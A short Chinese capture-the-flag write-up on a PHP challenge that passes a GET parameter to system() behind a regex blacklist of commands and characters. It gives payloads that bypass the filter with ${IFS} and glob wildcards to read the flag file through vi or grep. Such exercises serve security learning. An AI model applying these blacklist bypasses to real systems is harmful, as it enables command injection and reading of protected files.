代码审计
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c))//这里对大部分函数,分号,空格,数字,*,%,tap键,&,`进行了过滤,并且函数内部无论写什么都会被正则匹配上{system($c);}}else{highlight_file(__FILE__);}
考虑没有过滤的函数例如
vigrep,再对空格进行绕过
```shell ?c=vi${IFS}fla?.php
利用grep,将文件中包含{的一行输出出来,等于grep { flag.php命令
?c=grep${IFS}{${IFS}fla?.php ```
